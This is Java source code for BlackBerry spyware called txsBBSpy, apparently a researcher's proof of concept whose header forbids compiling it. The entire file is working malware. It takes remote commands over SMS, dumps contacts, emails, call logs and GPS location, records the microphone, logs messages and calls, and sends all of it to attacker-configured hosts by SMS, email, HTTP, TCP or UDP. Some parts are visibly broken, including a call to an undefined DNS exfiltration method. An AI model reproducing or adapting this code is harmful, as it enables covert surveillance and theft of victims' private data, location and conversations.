// This source code is the property of its author and must not be compiled, distributed, or used in any way // You may NOT use this source code in any program you author, nor may you execute a compiled version of this code. // // Please contact the author at tshields@veracode.com for any further information regarding this source code. import java.io.*; import java.util.*; import net.rim.device.api.io.Base64OutputStream; import net.rim.device.api.system.Application; import net.rim.device.api.system.EventInjector; import net.rim.device.api.system.KeypadListener; import net.rim.device.api.system.EventInjector.KeyCodeEvent; import net.rim.device.api.ui.*; import net.rim.blackberry.api.pdap.*; import net.rim.blackberry.api.phone.Phone; import net.rim.blackberry.api.phone.PhoneCall; import net.rim.blackberry.api.phone.PhoneListener; import net.rim.blackberry.api.phone.phonelogs.CallLog; import net.rim.blackberry.api.phone.phonelogs.PhoneLogs; import net.rim.blackberry.api.sms.SMS; import net.rim.blackberry.api.sms.SendListener; import net.rim.blackberry.api.mail.*; import javax.microedition.io.ConnectionNotFoundException; import javax.microedition.io.Connector; import javax.microedition.io.Datagram; import javax.microedition.io.DatagramConnection; import javax.microedition.io.HttpConnection; import javax.microedition.io.StreamConnection; import javax.microedition.location.Location; import javax.microedition.location.LocationException; import javax.microedition.location.LocationListener; import javax.microedition.location.LocationProvider; import javax.microedition.location.QualifiedCoordinates; import javax.microedition.media.*; import javax.microedition.media.Manager; import javax.microedition.media.control.RecordControl; import javax.microedition.media.control.VideoControl; import javax.microedition.pim.*; import javax.wireless.messaging.BinaryMessage; import javax.wireless.messaging.MessageConnection; import javax.wireless.messaging.MessageListener; import javax.wireless.messaging.TextMessage; public class txsBBSpy extends Application { private int method; // Holds exfiltration method private String port; // Holds the target port for exfiltration private String ip; // Holds the target ip address for exfiltration private String pnum; // Holds the target sms phone number private String em; // Holds the target email address private String url; // Holds the target URL for web exfiltration private String domain; // Holds the domain target for DNS exfiltration private int gtime = 10; // GPS loc counter private int mtime = 5000; // Recording time for the mic recorder SMSINListener insms; PhoneLogger pl; SMSOUTListener sl; PimLis piml; LocListener ll; LocationProvider lp = null; private int slin = 0; // 0 for off, 1 for on (sms inbound listener) public static void main(String[] args) { txsBBSpy exfil = new txsBBSpy(); exfil.initCandC(1); // Setup the command and control inbound SMS listener return; } private void processCommand(String cmd) { PIM pim = null; BlackBerryPIMList contacts = null; int c = 0; if (cmd.equals((String)"TXSDIE")) c = 1; // KILL THE SPYWARE if (cmd.equals((String)"TXSPHLON")) c = 2; // Enable Phone Listener if (cmd.equals((String)"TXSPHLOFF")) c = 3; // Disable Phone Listener if (cmd.equals((String)"TXSPIMON")) c = 4; // Enable PIM Listener if (cmd.equals((String)"TXSPIMOFF")) c = 5; // Disable PIM Listener if (cmd.equals((String)"TXSSLINON")) c = 6; // Enable SMS In Listener if (cmd.equals((String)"TXSSLINOFF")) c = 7; // Disable SMS In Listener if (cmd.equals((String)"TXSSLOUTON")) c = 8; // Enable SMS Out Listener if (cmd.equals((String)"TXSSLOUTOFF")) c = 9; // Disable SMS Out Listener if (cmd.equals((String)"TXSGLON")) c = 10; // Enable GPS Listener if (cmd.equals((String)"TXSGLOFF")) c = 11; // Disable GPS Listener if (cmd.equals((String)"TXSEXFILSMS")) c = 21; // Set exfiltration method to SMS if (cmd.equals((String)"TXSEXFILSMSDG")) c = 22; // Set exfiltration method to SMS Datagram if (cmd.equals((String)"TXSEXFILEMAIL")) c = 23; // Set exfiltration method to email if (cmd.equals((String)"TXSEXFILGET")) c = 24; // Set exfiltration method to HTTP GET if (cmd.equals((String)"TXSEXFILPOST")) c = 25; // Set exfiltration method to HTTP POST if (cmd.equals((String)"TXSEXFILTCP")) c = 26; // Set exfiltration method to TCP Socket if (cmd.equals((String)"TXSEXFILUDP")) c = 27; // Set exfiltration method to UDP Socket if (cmd.equals((String)"TXSDUMPCON")) c = 31; // Dump all contacts if (cmd.equals((String)"TXSDUMPGPS")) c = 32; // Dump current GPS if (cmd.equals((String)"TXSDUMPPL")) c = 33; // Dump all phone logs if (cmd.equals((String)"TXSDUMPEMAIL")) c = 34; // Dump all email if (cmd.equals((String)"TXSDUMPMIC")) c = 36; // Dump current mic grab if (cmd.startsWith((String)"TXSIP:")) c = 41; // Change the target IP for UDP and TCP transmissions if (cmd.startsWith((String)"TXSEM:")) c = 42; // Change the target email address for email exfil if (cmd.startsWith((String)"TXSPORT:")) c = 43; // Change the default target port if (cmd.startsWith((String)"TXSPHONE:")) c = 44; // Change the target SMS phone number if (cmd.startsWith((String)"TXSURL:")) c = 45; // Change the target URL for HTTP GET/POST if (cmd.startsWith((String)"TXSHOST:")) c = 46; // Change the target HOST for DNS exfil if (cmd.startsWith((String)"TXSGTIME:")) c = 47; // Change the update time for GPS tracking if (cmd.startsWith((String)"TXSMTIME:")) c = 48; // Change the length of the microphone record time if (cmd.equals((String)"TXSPING")) c = 99; // Respond w/pong switch(c) { case 1: // TXSDIE this.initCandC(0); // Disable the C&C listener and kill all threads (DIE) break; case 2: // TXSPHLON pl = new PhoneLogger(); Phone.addPhoneListener(pl); break; case 3: // TXSPHLOFF Phone.removePhoneListener(pl); break; case 4: // TXSPIMON piml = new PimLis(); try { pim = PIM.getInstance(); contacts = (BlackBerryPIMList) pim.openPIMList(PIM.CONTACT_LIST, PIM.READ_ONLY); contacts.addListener(piml); } catch (PIMException e) { e.printStackTrace(); } break; case 5: // TXSPIMOFF if (contacts != null) contacts.removeListener(piml); break; case 6: // TXSSLINON this.slin = 1; break; case 7: // TXSSLINOFF this.slin = 0; break; case 8: // TXSSLOUTON sl = new SMSOUTListener(); SMS.addSendListener(sl); break; case 9: // TXSSLOUTOFF SMS.removeSendListener(sl); break; case 10: // TXSGLON ll = new LocListener(); try { lp = LocationProvider.getInstance(null); lp.setLocationListener(ll, 1, 1, 1); } catch (LocationException e) { e.printStackTrace(); } break; case 11: // TXSGLOFF if (lp != null) lp.setLocationListener(null, 1, 1, 1); break; case 21: // EXFIL VIA SMS this.method = 1; break; case 22: // EXFIL VIA SMS DATAGRAM this.method = 2; break; case 23: // EXFIL VIA EMAIL this.method = 3; break; case 24: // EXFIL VIA GET this.method = 4; break; case 25: // EXFIL VIA POST this.method = 5; break; case 26: // EXFIL VIA UDP this.method = 6; break; case 27: // EXFIL VIA TCP this.method = 7; break; case 28: // EXFIL VIS DNS this.method = 8; break; case 31: // TXSDUMPCON contacts(); break; case 32: // TXSDUMPGPS GPS(); break; case 33: // TXSDUMPPL phoneLogs(); break; case 34: // TXSDUMPEMAIL email(); break; case 36: // TXSDUMPMIC microphone(); break; case 41: // TXSIP: this.ip = cmd.substring(6); break; case 42: // TXSEM: this.em = cmd.substring(6); break; case 43: // TXSPORT: this.port = cmd.substring(8); break; case 44: // TXSPHONE: this.pnum = cmd.substring(9); break; case 45: // TXSURL: this.url = cmd.substring(7); break; case 46: // TXSHOST: this.domain = cmd.substring(8); break; case 47: // TXSGTIME: try { this.gtime = Integer.parseInt(cmd.substring(9)); if (this.gtime > 600) this.gtime = 600; } catch (NumberFormatException e) { this.gtime = 10; } break; case 48: // TXSMTIME: try { this.mtime = Integer.parseInt(cmd.substring(9)); this.mtime = this.mtime * 1000; if (this.mtime > 30000) this.mtime = 30000; }catch (NumberFormatException e) { this.mtime = 5000; } case 99: // TXSPING exfiltrate("PONG"); break; default: break; } return; } private void initCandC(int a) { MessageConnection smsconn; if (a == 1) { try { smsconn = (MessageConnection)Connector.open("sms://:0"); insms = new SMSINListener((MessageConnection)smsconn); new Thread(insms).start(); smsconn.setMessageListener(insms); return; } catch (IOException e) { e.printStackTrace(); } } else { System.exit(0); } } private void microphone() { RecordControl rc; try { Player p = Manager.createPlayer("capture://audio"); // Player p set to capture audio here p.realize(); rc = (RecordControl)p.getControl("RecordControl"); ByteArrayOutputStream os = new ByteArrayOutputStream(); rc.setRecordStream(os); rc.startRecord(); p.start(); Thread.sleep(this.mtime); rc.commit(); if (p != null) { p.stop(); p.close(); p = null; } byte[] b = os.toByteArray(); exfiltrate(Base64OutputStream.encodeAsString(b, 0, b.length, false, false)); } catch (IOException e) { e.printStackTrace(); } catch (MediaException e) { e.printStackTrace(); } catch (InterruptedException e) { e. printStackTrace(); } return; } private void contacts() { PIM pim = PIM.getInstance(); BlackBerryPIMList contacts = null; Enumeration eContacts = null; try { contacts = (BlackBerryPIMList) pim.openPIMList(PIM.CONTACT_LIST, PIM.READ_ONLY); } catch (PIMException e) { e.printStackTrace(); } try { eContacts = contacts.items(); } catch (PIMException e) { e.printStackTrace(); } do { String email = "none"; String addr = "none"; String zip = "none"; String phone = "none"; String first = "none"; String last = "none"; String name[] = {""}; // Fields may or may not be used based on the model of device // We just exfiltrate a sample set of them for POC here Contact contact = (Contact) eContacts.nextElement(); if (contacts.isSupportedField(Contact.NAME)) { if (contact.countValues(Contact.NAME) > 0) name = contact.getStringArray(Contact.NAME, 0); if (name[Contact.NAME_GIVEN] != null) first = name[Contact.NAME_GIVEN]; if (name[Contact.NAME_FAMILY] != null) last = name[Contact.NAME_FAMILY]; } if (contacts.isSupportedField(Contact.EMAIL)) { if (contact.countValues(Contact.EMAIL) > 0) email = contact.getString(Contact.EMAIL, 0); } if (contacts.isSupportedField(Contact.ADDR_STREET)) { if (contact.countValues(Contact.ADDR_STREET) > 0) addr = contact.getString(Contact.ADDR_STREET, 0); } if (contacts.isSupportedField(Contact.ADDR_POSTALCODE)) { if (contact.countValues(Contact.ADDR_POSTALCODE) > 0) zip = contact.getString(Contact.ADDR_POSTALCODE, 0); } if (contacts.isSupportedField(Contact.TEL)) { if (contact.countValues(Contact.TEL) > 0) phone = contact.getString(Contact.TEL, 0); } exfiltrate(first+"|"+last+"|"+phone+"|"+zip+"|"+addr+"|"+email); } while (eContacts.hasMoreElements()); return; } private void email() { Session defaultSession = Session.getDefaultInstance(); if (defaultSession != null) { Store st = defaultSession.getStore(); // We only exfiltrate the default mailbox inbox only for POC Folder[] flist = st.list(); for (int i = 0; i < flist.length; i++) { Message[] msgs; try { msgs = flist[i].getMessages(); for (int n=0; n < msgs.length; n++) { Address from = msgs[n].getFrom(); if (from != null) { exfiltrate("Message "+n+"|"+from.getAddr()+"|"+msgs[n].getSubject()+"|"+msgs[n].getBodyText()); } else { exfiltrate("Message "+n+"|"+msgs[n].getSubject()+"|"+msgs[n].getBodyText()); } } } catch (MessagingException e) { e.printStackTrace(); } } } return; } private void phoneLogs() { PhoneLogs pl = PhoneLogs.getInstance(); int nc = pl.numberOfCalls(PhoneLogs.FOLDER_NORMAL_CALLS); for (int i = 0; i < nc; i++) { CallLog cl = pl.callAt(i, PhoneLogs.FOLDER_NORMAL_CALLS); Date d = cl.getDate(); int dur = cl.getDuration(); String notes = cl.getNotes(); exfiltrate("Call #"+i+"|"+d.toString()+"|"+dur+" seconds|"+notes); } return; } private void GPS() { Location loc = null; float speed = 0; float course = 0; LocationProvider lp; try { lp = LocationProvider.getInstance(null); if (lp == null) { exfiltrate("GPS Not Supported on Device"); return; } loc = lp.getLocation(1); if (loc == null) { exfiltrate("Error in getLocation"); return; } speed = loc.getSpeed(); if (speed >= 0) { course = loc.getCourse(); if (course >= 0) { QualifiedCoordinates qc = loc.getQualifiedCoordinates(); if (qc == null) { ThreadedSend ts = new ThreadedSend("Invalid GPS Coordinates Returned ERR"); ts.start(); return; } exfiltrate("GPS Data: "+speed+"|"+qc.getLatitude()+"|"+qc.getLongitude()+"|"+course); } else return; } else return; } catch (LocationException e) { e.printStackTrace(); } catch (InterruptedException e) { e.printStackTrace(); } return; } private void exfilSMS(String msg) { MessageConnection conn; try { conn = (MessageConnection) Connector.open("sms://" + this.pnum + ":3590"); TextMessage msgOut = (TextMessage) conn.newMessage(MessageConnection.TEXT_MESSAGE); msgOut.setPayloadText(msg); conn.send(msgOut); conn.close(); } catch (IOException e) { e.printStackTrace(); } return; } private void exfilSMS_dg(String msg) { try { DatagramConnection dc = (DatagramConnection)Connector.open("sms://"+this.pnum+":3590"); Datagram d; d = dc.newDatagram(dc.getMaximumLength()); byte[] buf = msg.getBytes(); d.setData(buf, 0, buf.length); d.write(buf, 0, buf.length); dc.send(d); dc.close(); } catch (IOException e) { e.printStackTrace(); } return; } private void exfilEmail(String msg) { Session defaultSession = Session.getDefaultInstance(); if (defaultSession != null) { Store st = defaultSession.getStore(); Folder[] flist = st.list(Folder.SENT); Folder sentfolder = flist[0]; Message m = new Message(sentfolder); Address recip[] = new Address[1]; try { String tmp = this.em.replace('*', '@'); recip[0] = new Address(tmp, "TXS"); m.addRecipients(Message.RecipientType.TO, recip); m.setSubject("Urgent message"); m.setContent(msg); m.setPriority(Message.Priority.NORMAL); Transport.send(m); } catch (Exception e) { e.printStackTrace(); } } return; } private void exfilHTTP_GET(String msg) { HttpConnection c = null; int rc; try { c = (HttpConnection)Connector.open("http://"+this.url+"/"+msg); rc = c.getResponseCode(); if (rc != HttpConnection.HTTP_OK) { } } catch (ClassCastException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally { if (c != null) try { c.close(); } catch (IOException e) { e.printStackTrace(); } } return; } private void exfilHTTP_POST(String msg) { HttpConnection c = null; OutputStream os = null; try { c = (HttpConnection)Connector.open("http://"+this.url+"/"); c.setRequestMethod(HttpConnection.POST); c.setRequestProperty("User-Agent", "BBSpyware|"+msg); c.setRequestProperty("Content-Language", "en-US"); os = c.openOutputStream(); msg.concat("\n"); os.write(msg.getBytes()); os.flush(); c.getResponseCode(); } catch (ClassCastException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally { try { if (c != null) c.close(); if (os != null) os.close(); } catch (IOException e) { e.printStackTrace(); } } return; } private void exfilTCP(String msg) { OutputStreamWriter out; StreamConnection conn; try { String URL = "socket://"+this.ip+":"+this.port+";deviceside=true"; conn = (StreamConnection)Connector.open(URL); out = new OutputStreamWriter(conn.openOutputStream()); int length = msg.length(); out.write(msg, 0, length); out.close(); conn.close(); } catch (IOException e) { e.printStackTrace(); } return; } private void exfilUDP(String msg) { DatagramConnection conn; byte[] buf = new byte[1024]; try { conn = (DatagramConnection)Connector.open("udp://"+this.ip+":"+this.port+";4444"); Datagram out = conn.newDatagram(buf, buf.length); buf = msg.getBytes(); out.setData(buf, 0, buf.length); conn.send(out); conn.close(); } catch (IOException e) { e.printStackTrace(); } return; } private void exfiltrate(String msg) { if (msg.startsWith("TXS_") != true) // Make sure that we haven't already exfiltrated this message { msg = "TXS_"+msg; // Prepend our send marker switch (this.method) { case 1: exfilSMS(msg); break; case 2: exfilSMS_dg(msg); break; case 3: exfilEmail(msg); break; case 4: exfilHTTP_GET(msg); break; case 5: exfilHTTP_POST(msg); break; case 6: exfilTCP(msg); break; case 7: exfilUDP(msg); break; case 8: exfilDNS(msg); break; } } return; } private class SMSINListener implements MessageListener, Runnable { private int messages; private MessageConnection conn; public SMSINListener(MessageConnection conn) { messages = 0; this.conn = conn; } public void run() { while(true) { while (messages > 0) { try { javax.wireless.messaging.Message m = conn.receive(); String msg = null; if (m instanceof TextMessage) { TextMessage tm = (TextMessage)m; msg = tm.getPayloadText(); if (slin == 1) { ThreadedSend ts = new ThreadedSend("INBOUND:"+m.getAddress()+"|"+((TextMessage)m).getPayloadText()); ts.start(); } processCommand(msg); } else if ( m instanceof BinaryMessage) { byte[] data = ((BinaryMessage) m).getPayloadData(); msg = new String(data, "UTF-8"); } } catch (IOException e) { e.printStackTrace(); } messages--; } synchronized(this) { try { wait(); } catch (Exception e) { e.printStackTrace(); } } } } public synchronized void notifyIncomingMessage(MessageConnection conn) { messages++; notifyAll(); } } private class SMSOUTListener implements SendListener { public boolean sendMessage(javax.wireless.messaging.Message message) { if (message instanceof TextMessage) { ThreadedSend ts = new ThreadedSend("OUTBOUND:"+message.getAddress()+"|"+((TextMessage)message).getPayloadText()); ts.start(); } else { ThreadedSend ts = new ThreadedSend(message.getAddress()+"|"+"MultiPart Payload Ignored"); ts.start(); } return true; } } private class PhoneLogger implements PhoneListener { public void callAdded(int arg0) { } public void callAnswered(int callId) { } public void callConferenceCallEstablished(int callId) { } public void callConnected(int callId) { PhoneCall call = Phone.getCall(callId); ThreadedSend ts = new ThreadedSend("Call started|"+callId+"|"+call.getPhoneNumber()+"|"+call.getDisplayPhoneNumber()); ts.start(); } public void callDirectConnectConnected(int callId) { } public void callDirectConnectDisconnected(int callId) { } public void callDisconnected(int callId) { ThreadedSend ts = new ThreadedSend("Call ended|"+callId); ts.start(); } public void callEndedByUser(int callId) { } public void callFailed(int callId, int reason) { } public void callHeld(int callId) { } public void callIncoming(int callId) { } public void callInitiated(int callId) { } public void callRemoved(int callId) { } public void callResumed(int callId) { } public void callWaiting(int callid) { } public void conferenceCallDisconnected(int callId) { } } private class PimLis implements PIMListListener { public void itemAdded(PIMItem arg0) { String email = "none"; String addr = "none"; String zip = "none"; String phone = "none"; String first = "none"; String last = "none"; String name[] = {""}; PIMList contacts = arg0.getPIMList(); Contact contact = (Contact)arg0; if (contacts.isSupportedField(Contact.NAME)) { if (contact.countValues(Contact.NAME) > 0) name = contact.getStringArray(Contact.NAME, 0); if (name[Contact.NAME_GIVEN] != null) first = name[Contact.NAME_GIVEN]; if (name[Contact.NAME_FAMILY] != null) last = name[Contact.NAME_FAMILY]; } if (contacts.isSupportedField(Contact.EMAIL)) { if (contact.countValues(Contact.EMAIL) > 0) email = contact.getString(Contact.EMAIL, 0); } if (contacts.isSupportedField(Contact.ADDR_STREET)) { if (contact.countValues(Contact.ADDR_STREET) > 0) addr = contact.getString(Contact.ADDR_STREET, 0); } if (contacts.isSupportedField(Contact.ADDR_POSTALCODE)) { if (contact.countValues(Contact.ADDR_POSTALCODE) > 0) zip = contact.getString(Contact.ADDR_POSTALCODE, 0); } if (contacts.isSupportedField(Contact.TEL)) { if (contact.countValues(Contact.TEL) > 0) phone = contact.getString(Contact.TEL, 0); } ThreadedSend ts = new ThreadedSend("ItemAdded|"+first+"|"+last+"|"+phone+"|"+zip+"|"+addr+"|"+email); ts.start(); return; } public void itemRemoved(PIMItem arg0) { String email = "none"; String addr = "none"; String zip = "none"; String phone = "none"; String first = "none"; String last = "none"; String name[] = {""}; PIMList contacts = arg0.getPIMList(); Contact contact = (Contact)arg0; if (contacts.isSupportedField(Contact.NAME)) { if (contact.countValues(Contact.NAME) > 0) name = contact.getStringArray(Contact.NAME, 0); if (name[Contact.NAME_GIVEN] != null) first = name[Contact.NAME_GIVEN]; if (name[Contact.NAME_FAMILY] != null) last = name[Contact.NAME_FAMILY]; } if (contacts.isSupportedField(Contact.EMAIL)) { if (contact.countValues(Contact.EMAIL) > 0) email = contact.getString(Contact.EMAIL, 0); } if (contacts.isSupportedField(Contact.ADDR_STREET)) { if (contact.countValues(Contact.ADDR_STREET) > 0) addr = contact.getString(Contact.ADDR_STREET, 0); } if (contacts.isSupportedField(Contact.ADDR_POSTALCODE)) { if (contact.countValues(Contact.ADDR_POSTALCODE) > 0) zip = contact.getString(Contact.ADDR_POSTALCODE, 0); } if (contacts.isSupportedField(Contact.TEL)) { if (contact.countValues(Contact.TEL) > 0) phone = contact.getString(Contact.TEL, 0); } ThreadedSend ts = new ThreadedSend("ItemRemoved|"+first+"|"+last+"|"+phone+"|"+zip+"|"+addr+"|"+email); ts.start(); return; } public void itemUpdated(PIMItem arg0, PIMItem arg1) { String email = "none"; String addr = "none"; String zip = "none"; String phone = "none"; String first = "none"; String last = "none"; String name[] = {""}; PIMList contacts = arg1.getPIMList(); Contact contact = (Contact)arg1; if (contacts.isSupportedField(Contact.NAME)) { if (contact.countValues(Contact.NAME) > 0) name = contact.getStringArray(Contact.NAME, 0); if (name[Contact.NAME_GIVEN] != null) first = name[Contact.NAME_GIVEN]; if (name[Contact.NAME_FAMILY] != null) last = name[Contact.NAME_FAMILY]; } if (contacts.isSupportedField(Contact.EMAIL)) { if (contact.countValues(Contact.EMAIL) > 0) email = contact.getString(Contact.EMAIL, 0); } if (contacts.isSupportedField(Contact.ADDR_STREET)) { if (contact.countValues(Contact.ADDR_STREET) > 0) addr = contact.getString(Contact.ADDR_STREET, 0); } if (contacts.isSupportedField(Contact.ADDR_POSTALCODE)) { if (contact.countValues(Contact.ADDR_POSTALCODE) > 0) zip = contact.getString(Contact.ADDR_POSTALCODE, 0); } if (contacts.isSupportedField(Contact.TEL)) { if (contact.countValues(Contact.TEL) > 0) phone = contact.getString(Contact.TEL, 0); } ThreadedSend ts = new ThreadedSend("ItemUpdated|"+first+"|"+last+"|"+phone+"|"+zip+"|"+addr+"|"+email); ts.start(); return; } } private class LocListener implements LocationListener { int count = 0; public void locationUpdated(LocationProvider provider, Location location) { float speed = 0; float course = 0; if (count > txsBBSpy.this.gtime) { count = 0; } count++; if (count == 1) { speed = location.getSpeed(); if (speed >= 0 ) { course = location.getCourse(); if (course >= 0) { QualifiedCoordinates qc = location.getQualifiedCoordinates(); if (qc == null) { ThreadedSend ts = new ThreadedSend("Invalid GPS Coordinates Returned ERR"); ts.start(); return; } ThreadedSend ts = new ThreadedSend("GPS Data UPDATED|"+speed+"|"+qc.getLatitude()+"|"+qc.getLongitude()+"|"+course+"|"+count); ts.start(); } else return; } else return; } } public void providerStateChanged(LocationProvider provider, int newState) { } } private class ThreadedSend extends Thread { String msg; ThreadedSend(String msg) { this.msg = msg; } public void run() { exfiltrate(msg); } } }